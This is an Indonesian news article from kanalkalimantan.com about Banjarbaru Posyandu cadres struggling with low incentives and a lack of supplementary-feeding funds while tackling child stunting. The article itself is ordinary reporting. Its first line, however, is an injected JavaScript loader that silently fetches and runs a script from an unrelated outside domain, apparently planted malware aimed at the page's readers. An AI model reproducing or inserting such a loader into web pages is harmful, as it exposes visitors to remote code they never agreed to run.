(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kader Posyandu Banjarbaru Berjibaku Turunkan Angka Stunting dengan Insentif Minim

KANALKALIMANTAN.COM, BANJARBARU – Masalah stunting masih menjadi fokus perhatian Kota Banjarbaru. Hal ini juga mengemuka saat temu kader Posyandu se Kecamatan Banjarbaru Utara dengan anggota DPRD Kota Banjarbaru, Nurkhalis Anshari di Hutan Pinus Kelurahan Mentaos, Kota Banjarbaru, Sabtu (18/3/2023).

Selain tingginya angka stunting, anggota dewan dari PKS ini juga mendapat keluhan kecilnya insentif dan minimnya sarana prasarana sebagai penunjang kegiatan kader Posyandu.

“Tahun 2023, sudah kita perjuangkan seluruh posyandu di Banjarbaru Utara dan Selatan yang belum memiliki meja dan kurji,” ujar Khalis.

Selain itu, pemberian makanan tambahan (PMT) oleh para kader pos pelayanan terpadu (posyandu) hingga kini belum didukung secara maksimal. Padahal, penanganan stunting menjadi fokus utama yang dilakukan Pemko Banjarbaru saat ini.

“Satu sisi kita menginginkan angka stunting di Banjarbaru rendah, tapi disisi lain PMT masih belum support,” katanya.

Politisi PKS ini mengakui, para kader posyandu juga mengeluhkan kekurangan biaya untuk melakukan berbagai kegiatan. Salah satunya dengan PMT yang menyasar kalangan anak bawah lima tahun (balita).

“Karena kurang anggaran, untuk PMT mereka swadaya atau urunan untuk menambah makanan tambahan,” ungkapnya.

Dia tak menampik, persoalan PMT ini harus bersama-sama dicarikan solusinya. Karena saat ini, di antara seluruh kabupaten dan kota di Kalsel, angka stunting di Kota Idaman masih cukup tinggi.

Sementara itu, Kepala Bidang Pemberdayaan Masyarakat, Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perempuan dan Perlindungan Anak (Disdalduk KB PMP dan PA) Kota Banjarbaru, Jumiatun mengatakan memang bidangnya yang memfasilitasi terkait sarana prasana dan insentif para kada kader posyandu se Kota Banjarbaru.

“Apabila ada permohonan, bisa difasilitasi,” ujarnya.

Selain itu, para kader posyandu juga bisa meminta untuk dibangunkan bangunan melalui proposal yang mereka ajukan sebagai syarat utama, agar bisa dianggarkan.

Terkait PMT, diakui Jumiatun, belum ada anggaran untuk PMT. Sebab, pagu pihaknya tidak mencukupi. Karena selama ini PMT ada di Dinkes, tapi jika ada aspirasi maka pengadaan PMT akan disampaikan ke DPRD Kota Banjarbaru untuk kebijakan anggarannya.

“Selama ini yang kami anggarkan terkait sarana prasaran dan insentif bagi kader posyandu,” unkapnya.

Dibeberkannya, untuk insentif kader posyandu di Kota Banjarbaru masih terbilang kecil, tahun 2022 saja mereka hanya mendapat insentif Rp 1.200.000 perposyandu yang didalamnya ada 8 orang kader posyandu.

“Penambahannya sedikit sekali untuk tahun ini hanya Rp. 20 ribu perkader, memang tidak sebanding dengan kerja keras mereka,” bebernya.

Dirinya berharap para kader posyandu tidak patah semangat dalam berjibaku dalam menurunkan angka stunting di Kota Banjarbaru.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell